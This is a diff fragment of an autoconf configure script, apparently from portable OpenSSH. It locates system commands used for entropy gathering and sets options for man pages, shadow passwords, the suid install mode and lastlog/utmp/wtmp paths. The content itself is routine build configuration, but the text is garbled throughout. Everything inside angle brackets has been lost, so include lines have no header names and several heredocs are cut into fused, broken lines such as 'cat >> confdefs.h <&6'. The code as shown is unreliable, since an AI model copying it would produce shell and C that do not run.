PRNGD_PORT="$withval" + cat >> confdefs.h <> confdefs.h <&6 +echo "configure:7226: checking for PRNGD/EGD socket" >&5 + # Insert other locations here + for sock in /var/run/egd-pool /dev/egd-pool /etc/entropy; do + if test -r $sock && $TEST_MINUS_S_SH -c "test -S $sock -o -p $sock" ; then + PRNGD_SOCKET="$sock" + cat >> confdefs.h <&6 + else + echo "$ac_t""not found" 1>&6 + fi + fi + + +fi + + + +# detect pathnames for entropy gathering commands, if we need them +INSTALL_SSH_PRNG_CMDS="" +rm -f prng_commands +if (test -z "$RANDOM_POOL" && test -z "$PRNGD") ; then + # Use these commands to collect entropy + + # Extract the first word of "ls", so it can be a program name with args. +set dummy ls; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:7259: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_path_PROG_LS'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + case "$PROG_LS" in + /*) + ac_cv_path_PROG_LS="$PROG_LS" # Let the user override the test with a path. + ;; + ?:/*) + ac_cv_path_PROG_LS="$PROG_LS" # Let the user override the test with a dos path. + ;; + *) + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_path_PROG_LS="$ac_dir/$ac_word" + break + fi + done + IFS="$ac_save_ifs" + ;; +esac +fi +PROG_LS="$ac_cv_path_PROG_LS" +if test -n "$PROG_LS"; then + echo "$ac_t""$PROG_LS" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + + if test -z "$PROG_LS" ; then + PROG_LS="undef" + fi + + + + # Extract the first word of "netstat", so it can be a program name with args. +set dummy netstat; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:7300: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_path_PROG_NETSTAT'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + case "$PROG_NETSTAT" in + /*) + ac_cv_path_PROG_NETSTAT="$PROG_NETSTAT" # Let the user override the test with a path. + ;; + ?:/*) + ac_cv_path_PROG_NETSTAT="$PROG_NETSTAT" # Let the user override the test with a dos path. + ;; + *) + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_path_PROG_NETSTAT="$ac_dir/$ac_word" + break + fi + done + IFS="$ac_save_ifs" + ;; +esac +fi +PROG_NETSTAT="$ac_cv_path_PROG_NETSTAT" +if test -n "$PROG_NETSTAT"; then + echo "$ac_t""$PROG_NETSTAT" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + + if test -z "$PROG_NETSTAT" ; then + PROG_NETSTAT="undef" + fi + + + + # Extract the first word of "arp", so it can be a program name with args. +set dummy arp; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:7341: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_path_PROG_ARP'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + case "$PROG_ARP" in + /*) + ac_cv_path_PROG_ARP="$PROG_ARP" # Let the user override the test with a path. + ;; + ?:/*) + ac_cv_path_PROG_ARP="$PROG_ARP" # Let the user override the test with a dos path. + ;; + *) + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_path_PROG_ARP="$ac_dir/$ac_word" + break + fi + done + IFS="$ac_save_ifs" + ;; +esac +fi +PROG_ARP="$ac_cv_path_PROG_ARP" +if test -n "$PROG_ARP"; then + echo "$ac_t""$PROG_ARP" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + + if test -z "$PROG_ARP" ; then + PROG_ARP="undef" + fi + + + + # Extract the first word of "ifconfig", so it can be a program name with args. +set dummy ifconfig; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:7382: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_path_PROG_IFCONFIG'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + case "$PROG_IFCONFIG" in + /*) + ac_cv_path_PROG_IFCONFIG="$PROG_IFCONFIG" # Let the user override the test with a path. + ;; + ?:/*) + ac_cv_path_PROG_IFCONFIG="$PROG_IFCONFIG" # Let the user override the test with a dos path. + ;; + *) + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_path_PROG_IFCONFIG="$ac_dir/$ac_word" + break + fi + done + IFS="$ac_save_ifs" + ;; +esac +fi +PROG_IFCONFIG="$ac_cv_path_PROG_IFCONFIG" +if test -n "$PROG_IFCONFIG"; then + echo "$ac_t""$PROG_IFCONFIG" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + + if test -z "$PROG_IFCONFIG" ; then + PROG_IFCONFIG="undef" + fi + + + + # Extract the first word of "ps", so it can be a program name with args. +set dummy ps; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:7423: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_path_PROG_PS'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + case "$PROG_PS" in + /*) + ac_cv_path_PROG_PS="$PROG_PS" # Let the user override the test with a path. + ;; + ?:/*) + ac_cv_path_PROG_PS="$PROG_PS" # Let the user override the test with a dos path. + ;; + *) + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_path_PROG_PS="$ac_dir/$ac_word" + break + fi + done + IFS="$ac_save_ifs" + ;; +esac +fi +PROG_PS="$ac_cv_path_PROG_PS" +if test -n "$PROG_PS"; then + echo "$ac_t""$PROG_PS" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + + if test -z "$PROG_PS" ; then + PROG_PS="undef" + fi + + + + # Extract the first word of "w", so it can be a program name with args. +set dummy w; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:7464: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_path_PROG_W'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + case "$PROG_W" in + /*) + ac_cv_path_PROG_W="$PROG_W" # Let the user override the test with a path. + ;; + ?:/*) + ac_cv_path_PROG_W="$PROG_W" # Let the user override the test with a dos path. + ;; + *) + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_path_PROG_W="$ac_dir/$ac_word" + break + fi + done + IFS="$ac_save_ifs" + ;; +esac +fi +PROG_W="$ac_cv_path_PROG_W" +if test -n "$PROG_W"; then + echo "$ac_t""$PROG_W" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + + if test -z "$PROG_W" ; then + PROG_W="undef" + fi + + + + # Extract the first word of "who", so it can be a program name with args. +set dummy who; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:7505: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_path_PROG_WHO'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + case "$PROG_WHO" in + /*) + ac_cv_path_PROG_WHO="$PROG_WHO" # Let the user override the test with a path. + ;; + ?:/*) + ac_cv_path_PROG_WHO="$PROG_WHO" # Let the user override the test with a dos path. + ;; + *) + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_path_PROG_WHO="$ac_dir/$ac_word" + break + fi + done + IFS="$ac_save_ifs" + ;; +esac +fi +PROG_WHO="$ac_cv_path_PROG_WHO" +if test -n "$PROG_WHO"; then + echo "$ac_t""$PROG_WHO" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + + if test -z "$PROG_WHO" ; then + PROG_WHO="undef" + fi + + + + # Extract the first word of "last", so it can be a program name with args. +set dummy last; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:7546: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_path_PROG_LAST'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + case "$PROG_LAST" in + /*) + ac_cv_path_PROG_LAST="$PROG_LAST" # Let the user override the test with a path. + ;; + ?:/*) + ac_cv_path_PROG_LAST="$PROG_LAST" # Let the user override the test with a dos path. + ;; + *) + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_path_PROG_LAST="$ac_dir/$ac_word" + break + fi + done + IFS="$ac_save_ifs" + ;; +esac +fi +PROG_LAST="$ac_cv_path_PROG_LAST" +if test -n "$PROG_LAST"; then + echo "$ac_t""$PROG_LAST" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + + if test -z "$PROG_LAST" ; then + PROG_LAST="undef" + fi + + + + # Extract the first word of "lastlog", so it can be a program name with args. +set dummy lastlog; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:7587: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_path_PROG_LASTLOG'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + case "$PROG_LASTLOG" in + /*) + ac_cv_path_PROG_LASTLOG="$PROG_LASTLOG" # Let the user override the test with a path. + ;; + ?:/*) + ac_cv_path_PROG_LASTLOG="$PROG_LASTLOG" # Let the user override the test with a dos path. + ;; + *) + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_path_PROG_LASTLOG="$ac_dir/$ac_word" + break + fi + done + IFS="$ac_save_ifs" + ;; +esac +fi +PROG_LASTLOG="$ac_cv_path_PROG_LASTLOG" +if test -n "$PROG_LASTLOG"; then + echo "$ac_t""$PROG_LASTLOG" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + + if test -z "$PROG_LASTLOG" ; then + PROG_LASTLOG="undef" + fi + + + + # Extract the first word of "df", so it can be a program name with args. +set dummy df; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:7628: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_path_PROG_DF'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + case "$PROG_DF" in + /*) + ac_cv_path_PROG_DF="$PROG_DF" # Let the user override the test with a path. + ;; + ?:/*) + ac_cv_path_PROG_DF="$PROG_DF" # Let the user override the test with a dos path. + ;; + *) + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_path_PROG_DF="$ac_dir/$ac_word" + break + fi + done + IFS="$ac_save_ifs" + ;; +esac +fi +PROG_DF="$ac_cv_path_PROG_DF" +if test -n "$PROG_DF"; then + echo "$ac_t""$PROG_DF" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + + if test -z "$PROG_DF" ; then + PROG_DF="undef" + fi + + + + # Extract the first word of "vmstat", so it can be a program name with args. +set dummy vmstat; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:7669: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_path_PROG_VMSTAT'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + case "$PROG_VMSTAT" in + /*) + ac_cv_path_PROG_VMSTAT="$PROG_VMSTAT" # Let the user override the test with a path. + ;; + ?:/*) + ac_cv_path_PROG_VMSTAT="$PROG_VMSTAT" # Let the user override the test with a dos path. + ;; + *) + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_path_PROG_VMSTAT="$ac_dir/$ac_word" + break + fi + done + IFS="$ac_save_ifs" + ;; +esac +fi +PROG_VMSTAT="$ac_cv_path_PROG_VMSTAT" +if test -n "$PROG_VMSTAT"; then + echo "$ac_t""$PROG_VMSTAT" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + + if test -z "$PROG_VMSTAT" ; then + PROG_VMSTAT="undef" + fi + + + + # Extract the first word of "uptime", so it can be a program name with args. +set dummy uptime; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:7710: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_path_PROG_UPTIME'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + case "$PROG_UPTIME" in + /*) + ac_cv_path_PROG_UPTIME="$PROG_UPTIME" # Let the user override the test with a path. + ;; + ?:/*) + ac_cv_path_PROG_UPTIME="$PROG_UPTIME" # Let the user override the test with a dos path. + ;; + *) + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_path_PROG_UPTIME="$ac_dir/$ac_word" + break + fi + done + IFS="$ac_save_ifs" + ;; +esac +fi +PROG_UPTIME="$ac_cv_path_PROG_UPTIME" +if test -n "$PROG_UPTIME"; then + echo "$ac_t""$PROG_UPTIME" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + + if test -z "$PROG_UPTIME" ; then + PROG_UPTIME="undef" + fi + + + + # Extract the first word of "ipcs", so it can be a program name with args. +set dummy ipcs; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:7751: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_path_PROG_IPCS'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + case "$PROG_IPCS" in + /*) + ac_cv_path_PROG_IPCS="$PROG_IPCS" # Let the user override the test with a path. + ;; + ?:/*) + ac_cv_path_PROG_IPCS="$PROG_IPCS" # Let the user override the test with a dos path. + ;; + *) + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_path_PROG_IPCS="$ac_dir/$ac_word" + break + fi + done + IFS="$ac_save_ifs" + ;; +esac +fi +PROG_IPCS="$ac_cv_path_PROG_IPCS" +if test -n "$PROG_IPCS"; then + echo "$ac_t""$PROG_IPCS" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + + if test -z "$PROG_IPCS" ; then + PROG_IPCS="undef" + fi + + + + # Extract the first word of "tail", so it can be a program name with args. +set dummy tail; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:7792: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_path_PROG_TAIL'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + case "$PROG_TAIL" in + /*) + ac_cv_path_PROG_TAIL="$PROG_TAIL" # Let the user override the test with a path. + ;; + ?:/*) + ac_cv_path_PROG_TAIL="$PROG_TAIL" # Let the user override the test with a dos path. + ;; + *) + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_path_PROG_TAIL="$ac_dir/$ac_word" + break + fi + done + IFS="$ac_save_ifs" + ;; +esac +fi +PROG_TAIL="$ac_cv_path_PROG_TAIL" +if test -n "$PROG_TAIL"; then + echo "$ac_t""$PROG_TAIL" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + + if test -z "$PROG_TAIL" ; then + PROG_TAIL="undef" + fi + + + + INSTALL_SSH_PRNG_CMDS="yes" +fi + + + +# Check whether --with-catman or --without-catman was given. +if test "${with_catman+set}" = set; then + withval="$with_catman" + + case "$withval" in + man|cat|doc) + MANTYPE=$withval + ;; + *) + { echo "configure: error: invalid man type: $withval" 1>&2; exit 1; } + ;; + esac + + +fi + +if test -z "$MANTYPE"; then + for ac_prog in nroff awf +do +# Extract the first word of "$ac_prog", so it can be a program name with args. +set dummy $ac_prog; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:7857: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_path_NROFF'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + case "$NROFF" in + /*) + ac_cv_path_NROFF="$NROFF" # Let the user override the test with a path. + ;; + ?:/*) + ac_cv_path_NROFF="$NROFF" # Let the user override the test with a dos path. + ;; + *) + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="/usr/bin:/usr/ucb" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_path_NROFF="$ac_dir/$ac_word" + break + fi + done + IFS="$ac_save_ifs" + ;; +esac +fi +NROFF="$ac_cv_path_NROFF" +if test -n "$NROFF"; then + echo "$ac_t""$NROFF" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + +test -n "$NROFF" && break +done +test -n "$NROFF" || NROFF="/bin/false" + + if ${NROFF} -mdoc ${srcdir}/ssh.1 >/dev/null 2>&1; then + MANTYPE=doc + elif ${NROFF} -man ${srcdir}/ssh.1 >/dev/null 2>&1; then + MANTYPE=man + else + MANTYPE=cat + fi +fi + +if test "$MANTYPE" = "doc"; then + mansubdir=man; +else + mansubdir=$MANTYPE; +fi + + +# Check whether to enable MD5 passwords +MD5_MSG="no" +# Check whether --with-md5-passwords or --without-md5-passwords was given. +if test "${with_md5_passwords+set}" = set; then + withval="$with_md5_passwords" + + if test "x$withval" != "xno" ; then + cat >> confdefs.h <<\EOF +#define HAVE_MD5_PASSWORDS 1 +EOF + + MD5_MSG="yes" + fi + + +fi + + +# Whether to disable shadow password support +# Check whether --with-shadow or --without-shadow was given. +if test "${with_shadow+set}" = set; then + withval="$with_shadow" + + if test "x$withval" = "xno" ; then + cat >> confdefs.h <<\EOF +#define DISABLE_SHADOW 1 +EOF + + disable_shadow=yes + fi + + +fi + + +if test -z "$disable_shadow" ; then + echo $ac_n "checking if the systems has expire shadow information""... $ac_c" 1>&6 +echo "configure:7946: checking if the systems has expire shadow information" >&5 + cat > conftest.$ac_ext < +#include + struct spwd sp; + +int main() { + sp.sp_expire = sp.sp_lstchg = sp.sp_inact = 0; +; return 0; } +EOF +if { (eval echo configure:7959: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + sp_expire_available=yes +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + + +fi +rm -f conftest* + + if test "x$sp_expire_available" = "xyes" ; then + echo "$ac_t""yes" 1>&6 + cat >> confdefs.h <<\EOF +#define HAS_SHADOW_EXPIRE 1 +EOF + + else + echo "$ac_t""no" 1>&6 + fi +fi + +# Use ip address instead of hostname in $DISPLAY +if test ! -z "$IPADDR_IN_DISPLAY" ; then + DISPLAY_HACK_MSG="yes" + cat >> confdefs.h <<\EOF +#define IPADDR_IN_DISPLAY 1 +EOF + +else + DISPLAY_HACK_MSG="no" + # Check whether --with-ipaddr-display or --without-ipaddr-display was given. +if test "${with_ipaddr_display+set}" = set; then + withval="$with_ipaddr_display" + + if test "x$withval" != "xno" ; then + cat >> confdefs.h <<\EOF +#define IPADDR_IN_DISPLAY 1 +EOF + + DISPLAY_HACK_MSG="yes" + fi + + +fi + +fi + +# Whether to mess with the default path +SERVER_PATH_MSG="(default)" +# Check whether --with-default-path or --without-default-path was given. +if test "${with_default_path+set}" = set; then + withval="$with_default_path" + + if test "x$withval" != "xno" ; then + user_path="$withval" + SERVER_PATH_MSG="$withval" + fi + +else + + if test "$cross_compiling" = yes; then + user_path="/usr/bin:/bin:/usr/sbin:/sbin" + +else + cat > conftest.$ac_ext < +#ifdef HAVE_PATHS_H +# include +#endif +#ifndef _PATH_STDPATH +# define _PATH_STDPATH "/usr/bin:/bin:/usr/sbin:/sbin" +#endif +#include +#include +#include +#define DATA "conftest.stdpath" + +main() +{ + FILE *fd; + int rc; + + fd = fopen(DATA,"w"); + if(fd == NULL) + exit(1); + + if ((rc = fprintf(fd,"%s", _PATH_STDPATH)) < 0) + exit(1); + + exit(0); +} + +EOF +if { (eval echo configure:8058: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext} && (./conftest; exit) 2>/dev/null +then + user_path=`cat conftest.stdpath` +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -fr conftest* + user_path="/usr/bin:/bin:/usr/sbin:/sbin" +fi +rm -fr conftest* +fi + +# make sure $bindir is in USER_PATH so scp will work + t_bindir=`eval echo ${bindir}` + case $t_bindir in + NONE/*) t_bindir=`echo $t_bindir | sed "s~NONE~$prefix~"` ;; + esac + case $t_bindir in + NONE/*) t_bindir=`echo $t_bindir | sed "s~NONE~$ac_default_prefix~"` ;; + esac + echo $user_path | grep ":$t_bindir" > /dev/null 2>&1 + if test $? -ne 0 ; then + echo $user_path | grep "^$t_bindir" > /dev/null 2>&1 + if test $? -ne 0 ; then + user_path=$user_path:$t_bindir + echo "$ac_t""Adding $t_bindir to USER_PATH so scp will work" 1>&6 + fi + fi + + +fi + +cat >> confdefs.h <> confdefs.h <<\EOF +#define IPV4_DEFAULT 1 +EOF + + IPV4_HACK_MSG="yes" + fi + + +fi + + +echo $ac_n "checking if we need to convert IPv4 in IPv6-mapped addresses""... $ac_c" 1>&6 +echo "configure:8115: checking if we need to convert IPv4 in IPv6-mapped addresses" >&5 +IPV4_IN6_HACK_MSG="no" +# Check whether --with-4in6 or --without-4in6 was given. +if test "${with_4in6+set}" = set; then + withval="$with_4in6" + + if test "x$withval" != "xno" ; then + echo "$ac_t""yes" 1>&6 + cat >> confdefs.h <<\EOF +#define IPV4_IN_IPV6 1 +EOF + + IPV4_IN6_HACK_MSG="yes" + else + echo "$ac_t""no" 1>&6 + fi + +else + + if test "x$inet6_default_4in6" = "xyes"; then + echo "$ac_t""yes (default)" 1>&6 + cat >> confdefs.h <<\EOF +#define IPV4_IN_IPV6 1 +EOF + + IPV4_IN6_HACK_MSG="yes" + else + echo "$ac_t""no (default)" 1>&6 + fi + + +fi + + +# Whether to enable BSD auth support +# Check whether --with-bsd-auth or --without-bsd-auth was given. +if test "${with_bsd_auth+set}" = set; then + withval="$with_bsd_auth" + + if test "x$withval" != "xno" ; then + cat >> confdefs.h <<\EOF +#define BSD_AUTH 1 +EOF + + bsd_auth=yes + fi + + +fi + + +echo $ac_n "checking whether to install ssh as suid root""... $ac_c" 1>&6 +echo "configure:8167: checking whether to install ssh as suid root" >&5 +# Check whether --enable-suid-ssh or --disable-suid-ssh was given. +if test "${enable_suid_ssh+set}" = set; then + enableval="$enable_suid_ssh" + case "$enableval" in + no) + echo "$ac_t""no" 1>&6 + SSHMODE=0711 + ;; + *) echo "$ac_t""yes" 1>&6 + SSHMODE=04711 + ;; + esac +else + echo "$ac_t""yes" 1>&6 + SSHMODE=04711 + +fi + + + + +# Where to place sshd.pid +piddir=/var/run +# Check whether --with-pid-dir or --without-pid-dir was given. +if test "${with_pid_dir+set}" = set; then + withval="$with_pid_dir" + + if test "x$withval" != "xno" ; then + piddir=$withval + fi + + +fi + + +# make sure the directory exists +if test ! -d $piddir ; then + piddir=`eval echo ${sysconfdir}` + case $piddir in + NONE/*) piddir=`echo $piddir | sed "s~NONE~$ac_default_prefix~"` ;; + esac +fi + +cat >> confdefs.h <> confdefs.h <<\EOF +#define DISABLE_LASTLOG 1 +EOF + + +fi + +# Check whether --enable-utmp or --disable-utmp was given. +if test "${enable_utmp+set}" = set; then + enableval="$enable_utmp" + cat >> confdefs.h <<\EOF +#define DISABLE_UTMP 1 +EOF + + +fi + +# Check whether --enable-utmpx or --disable-utmpx was given. +if test "${enable_utmpx+set}" = set; then + enableval="$enable_utmpx" + cat >> confdefs.h <<\EOF +#define DISABLE_UTMPX 1 +EOF + + +fi + +# Check whether --enable-wtmp or --disable-wtmp was given. +if test "${enable_wtmp+set}" = set; then + enableval="$enable_wtmp" + cat >> confdefs.h <<\EOF +#define DISABLE_WTMP 1 +EOF + + +fi + +# Check whether --enable-wtmpx or --disable-wtmpx was given. +if test "${enable_wtmpx+set}" = set; then + enableval="$enable_wtmpx" + cat >> confdefs.h <<\EOF +#define DISABLE_WTMPX 1 +EOF + + +fi + +# Check whether --enable-libutil or --disable-libutil was given. +if test "${enable_libutil+set}" = set; then + enableval="$enable_libutil" + cat >> confdefs.h <<\EOF +#define DISABLE_LOGIN 1 +EOF + + +fi + +# Check whether --enable-pututline or --disable-pututline was given. +if test "${enable_pututline+set}" = set; then + enableval="$enable_pututline" + cat >> confdefs.h <<\EOF +#define DISABLE_PUTUTLINE 1 +EOF + + +fi + +# Check whether --enable-pututxline or --disable-pututxline was given. +if test "${enable_pututxline+set}" = set; then + enableval="$enable_pututxline" + cat >> confdefs.h <<\EOF +#define DISABLE_PUTUTXLINE 1 +EOF + + +fi + +# Check whether --with-lastlog or --without-lastlog was given. +if test "${with_lastlog+set}" = set; then + withval="$with_lastlog" + + if test "x$withval" = "xno" ; then + cat >> confdefs.h <<\EOF +#define DISABLE_LASTLOG 1 +EOF + + else + conf_lastlog_location=$withval + fi + + +fi + + + +echo $ac_n "checking if your system defines LASTLOG_FILE""... $ac_c" 1>&6 +echo "configure:8316: checking if your system defines LASTLOG_FILE" >&5 +cat > conftest.$ac_ext < +#include +#ifdef HAVE_LASTLOG_H +# include +#endif +#ifdef HAVE_PATHS_H +# include +#endif + +int main() { + char *lastlog = LASTLOG_FILE; +; return 0; } +EOF +if { (eval echo configure:8334: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + echo "$ac_t""yes" 1>&6 +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + + echo "$ac_t""no" 1>&6 + echo $ac_n "checking if your system defines _PATH_LASTLOG""... $ac_c" 1>&6 +echo "configure:8344: checking if your system defines _PATH_LASTLOG" >&5 + cat > conftest.$ac_ext < +#include +#ifdef HAVE_LASTLOG_H +# include +#endif +#ifdef HAVE_PATHS_H +# include +#endif + +int main() { + char *lastlog = _PATH_LASTLOG; +; return 0; } +EOF +if { (eval echo configure:8362: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + echo "$ac_t""yes" 1>&6 +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + + echo "$ac_t""no" 1>&6 + system_lastlog_path=no + +fi +rm -f conftest* + + +fi +rm -f conftest* + +if test -z "$conf_lastlog_location"; then + if test x"$system_lastlog_path" = x"no" ; then + for f in /var/log/lastlog /usr/adm/lastlog /var/adm/lastlog /etc/security/lastlog ; do + if (test -d "$f" || test -f "$f") ; then + conf_lastlog_location=$f + fi + done + if test -z "$conf_lastlog_location"; then + echo "configure: warning: ** Cannot find lastlog **" 1>&2 + fi + fi +fi + +if test -n "$conf_lastlog_location"; then + cat >> confdefs.h <&6 +echo "configure:8401: checking if your system defines UTMP_FILE" >&5 +cat > conftest.$ac_ext < +#include +#ifdef HAVE_PATHS_H +# include +#endif + +int main() { + char *utmp = UTMP_FILE; +; return 0; } +EOF +if { (eval echo configure:8416: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + echo "$ac_t""yes" 1>&6 +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + echo "$ac_t""no" 1>&6 + system_utmp_path=no + +fi +rm -f conftest* +if test -z "$conf_utmp_location"; then + if test x"$system_utmp_path" = x"no" ; then + for f in /etc/utmp /usr/adm/utmp /var/run/utmp; do + if test -f $f ; then + conf_utmp_location=$f + fi + done + if test -z "$conf_utmp_location"; then + cat >> confdefs.h <<\EOF +#define DISABLE_UTMP 1 +EOF + + fi + fi +fi +if test -n "$conf_utmp_location"; then + cat >> confdefs.h <&6 +echo "configure:8451: checking if your system defines WTMP_FILE" >&5 +cat > conftest.$ac_ext < +#include +#ifdef HAVE_PATHS_H +# include +#endif + +int main() { + char *wtmp = WTMP_FILE; +; return 0; } +EOF +if { (eval echo configure:8466: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + echo "$ac_t""yes" 1>&6 +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + echo "$ac_t""no" 1>&6 + system_wtmp_path=no + +fi +rm -f conftest* +if test -z 